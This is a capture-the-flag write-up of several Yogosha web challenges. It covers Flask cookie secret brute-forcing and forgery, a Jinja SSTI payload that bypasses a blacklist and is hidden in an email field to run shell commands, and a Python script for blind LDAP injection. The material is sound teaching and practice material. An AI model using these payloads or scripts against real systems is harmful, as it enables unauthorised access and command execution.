Writeups for some Yogosha web challs.
There was a Yogosha CTF between 22nd22^{nd}22nd and 25th25^{th}25th December.
As it was not advertised a lot, I only found out on Sunday, December 24th24^{th}24th checking Yogosha slack and there weren’t a lot of participants ;(. Finished 4th4^{th}4th.
I only tried the small web challenges, but one resisted me. Curious to see the solution for Guess?
, related to gRPC :).
Nothing new but it was fun nonetheless.
Rusta pasta
was interesting for me, because I never pentested a Rust web application and never read Rust code.
Oh, that Grinch strikes again! This time, he pulled off a heist in the shop and ran off with our item. Can we catch him and get our stuff back? That Grinch is like a master thief on a mission! 🎁🕵️♂️
LINK: http://44.212.75.74:4041
Weak secret (diciembre25
) for Flask cookie and issue with currency conversion (cur
GET parameter).
We have 2 pages :
/?CUR=XXX
./purchase
.We only have one cookie : session
. Default value was : eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
It’s a classic Flask cookie, that is to say composed of 3 parts, delimited by a dot:
$ echo eyJjYW5fYnV5IjpmYWxzZX0 | base64 -d
{"can_buy":false}`
To tamper it, we should find the secret used to sign it. To do so, I used flask-unsign.
$cookie=eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
$flask-unsign --wordlist /opt/wordlists/rockyou.txt --unsign --cookie $cookie --no-literal-eval
[*] Session decodes to: {'can_buy': False}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 153728 attemptskjeogGWE28
b'diciembre25'
The secret is diciembre25
.
Then we can change our current cookie:
flask-unsign --sign --cookie "{'can_buy': True}" --secret 'diciembre25'
eyJjYW5fYnV5Ijp0cnVlfQ.ZYnvCw.gS1XcURdYWFNI2GKrNssG_PrMq8
Doing so, we now have a difference error when trying to purchase our flag:
Now, the issue seems to be our current balance, inferior to the flag price.
Server-side injections (SQLi, SSTI, …) did not seem to work on the CUR
GET parameter.
However, when changing ?cur=USD
by ?cur=EUR
, I found out that my current balance decreased ;(.
First thought was “hey, maybe when decreasing, there will be some kind of arithmetic underflow ?”. I sent a lot of requests to /?cur=EUR
but it was in vain, my balance was just pretty low.
I tried to change by other values but I am not quite familiar with currency codes, so I downloaded a list on a random GitHub repository.
$curl https://raw.githubusercontent.com/datasets/currency-codes/master/data/codes-all.csv | cut -d "," -f 3 | sort | uniq | tee currency_codes.txt
When trying them all, I for instance found out that AUD
(Australian Dollar) increased my balance.
As we can see, my balance is pretty high now ^^ (same as before, no integer/arithmetic overflow here).
Now, I can try to purchase the flag again.
Flag: flag{cookie_manipulation_currency_conversion_error}
flag{cookie_manipulation_currency_conversion_error}
Uh-oh! The Grinch hacked our testing website and swiped our flag. Can we get it back? It’s like he stole our Christmas cheer in cyberspace! 🎄🕵️♂️
LINK: http://44.212.75.74:8080
Source (app.py) included
Jinja SSTI with some blacklisted keywords in an email
field. Moreover, the email
must be a valid email address.
This challenge could be resolved without the source code. However, due to the time used by validate_email
, it was a good choice to give it ^^.
There is only one page with one user input (email
):
As this is a CTF challenge, there is probably an injection on this field.
Reading the source code, there seems to be a Jinja SSTI.
return render_template_string(f"Thanks for subscribing {request.form.get('email')}, you'll get coupon code once we complete developing our shop!")
Trying different inputs, there seems to be 2 different checks:
'1'@gmail.com
gives us a new error message: there seems to be a blacklist in place. As the response from the server is long, it seems that I passed the first precedent “check”.Reading the source code, there are indeed two checks:
validate_email(request.form.get("email"), check_smtp = True, check_dns = True)
where validate_email
is a function present in a Python library.email
field (100-character long):BLACKLIST = ["{{", "}}", "_", "[", "]", "\\", "args", "form", "'"]
[...]
if (any([i in request.form.get("email") for i in BLACKLIST]) or len(request.form.get("email")) > 100)
request.args.get
, request.form.get
or request.headers.get
to retrieve a part of the payload (strings that won’t be interpreted by Jinja engine) present as a GET parameter, POST parameter or in a header.args
and form
) but not everything: header
is not blacklisted, so we can use this one in what follows.{{lipsum.__globals__["os"].popen('id').read()}}
so even if there are blacklisted keywords, it seems in theory easy not to exceed even without using the last explained trick.validate_email
check and {{
blacklistI saw directly on the GitHub repository that there were a lot of issues and as I am lazy and did not have a lot of time for this CTF, I thought “maybe amidst those issues, some can help to understand better the internal checks without reading the code and maybe a few ones are related to possible bypass” :D.
First, poking around issues (for instance this one,
'
is blacklisted, but not "
, so "1"@gmail.com
verifies those 2 two checks: it’s a pretty known trick for email syntax validation (you can write almost everything between two quotes), see appendix resources.
{{
is blacklisted, but not {
. Another well-known trick, this time for Jinja SSTI, is to use {%
instead of {{
. The syntax is a bit different (it is a statement) but not too much: we can for instance use {% print(expression) %}
instead of {{expression}}
.
Let’s try it:
_
We want to execute a payload such as {{lipsum.__globals__["os"].popen('id').read()}}
.
As this payload suggests, Jinja SSTI payloads need the use of magic methods, we must bypass _
blacklist because magic methods look like this __name__
.
We can’t use request.header because __globals__
is obviously not a string.
Another well-known trick in this case is the use of attr
filter in Jinja: lipsum.__class__
is the same as lipsum|attr("__class__")
.
So now, we can construct our input. First, a valid email address can have the form "JINJA_PAYLOAD"@gmail.com
.
For our JINJA_PAYLOAD
:
{{lipsum.__globals__["os"].popen('id').read()}}
Same as {%print(lipsum.__globals__["os"].popen('id').read())%}
({%
instead of {{
)
Same as {%print(lipsum|attr('__globals__')).os.popen('id').read()%}
(use of attr
filter)
'globals'
and 'id'
will be present in some headers : {%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}
POST /subscribe HTTP/1.1
Host: 44.212.75.74:8080
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
globals: __globals__
cmd: ls -la; cat flag.txt
Connection: close
email="{%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}"@gmail.com
flag{hello_again!did_you_see_me_elsewhere?}
I love injections in email address (and phone number) fields. Good resources to start:
Let Dem Away Please. The admin description is the key to everything .
LINK: http://35.168.7.144:8081
PS: flag all lower case.
As we conjectured with the title : classic blind LDAP injection (on description
field).
For some unknown reasons, there is a really basic blacklist (admin
, wildcard *
if nothing else in the current field ).
I think this was the easiest challenge.
Contacting the website, we got a 404 error:
As there was nothing in the HTML source code, I did some parameter (with Param Miner and x8 ; for more information about parameter fuzzing, see this), directory and file fuzzing with wfuzz and basic wordlists.
We found out a login
endpoint.
Changing the method to POST, we got:
According to the error message, we must give it a JSON input, so I added a Content-Type: application/json
header and an empty JSON input.
Then the fields of the JSON payload are leaked.
Now we can try injections on both fields.
As I was poking around, I found that some keywords were blacklisted:
admin
:*
if it was the only thing in the field:So admin
seems to be a valid username.
I got a different response when sending this request:
POST /login HTTP/1.1
Host: 35.168.7.144:8081
Content-type: application/json
Content-Length: 36
{"username":"admi*","password":"e*"}
So I can probably retrieve the admin password. However, I thought one second later: “Who cares ? It’s not the flag because it begins with an e
and it can’t be the flag hash because how could I cracked it to find the plaintext ?”.
I thought that there was probably another LDAP field.
Reading the description again, it was obvious that the field was probably description
:
" The admin description is the key to everything"
I added the description field, and indeed this field seems to exist:
import requests
import string
url = "http://35.168.7.144:8081/login"
headers = {"Content-Type": "application/json"}
chars = string.ascii_lowercase+"0123456789_@{}-/()!\"$%=^[]:; "
start = "admi*)(description="
flag = "flag{"
for i in range(50):
for char in chars:
username = "admi*)(description=%s%s*" % (flag,char)
data = {"password": "e*", "username": username}
r = requests.post(url, headers=headers, json=data)
if "Success" in r.text:
flag = flag + char
print(flag)
break
flag{light_decorates_all_pines!}
He stole the application and switched the code base, no front is available, can you retrieve the flag?
LINK: http://44.212.75.74:4040
Sources included (public.7z
)
scripts
repository (path traversal) and execute this script with another feature.Finding routes
We don’t have any idea about this.
LINK: http://35.168.7.144:6000
Sources included (files.7z
)
Basic smuggling using delete feature and CRLF to reach /flag
in the backend.
No time (except for gRPC) to really check them out and pwn ad reverse are not my strong points :x
You won’t believe it—even the Grinch can’t resist this tool! I always catch him peeking at my notes. Want to see if it can tame that mischievous green guy? It’s like my secret weapon against Grinchy antics! 📝💚🕵️♂️
nc 54.144.45.142 1234
libc and binary file included
Pwn chall, I didn’t check it at all
Would you believe it? The Grinch managed to crack our precious “Guess?” game—a web-based word guessing extravaganza using gRPC magic! He swooped in, guessed, and made off with it. How in the world did he pull that off? That Grinch is a real web-game bandit! 🕹️🕵️♂️
LINK: 35.168.7.144:50051
guess.proto
file included
I checked it a bit. I never interacted with gRPC before, so the first issue was interacting with it.
I used grpcurl and grpcui.
Command example for grpcurl : grpcurl -v -proto guess.proto -plaintext -format text -d 'username:"totoro", password: "totoro"' 35.168.7.144:50051 guess.Guess/Signup
can you get the secret ?
Binary file included
I did not check it, reverse challenge.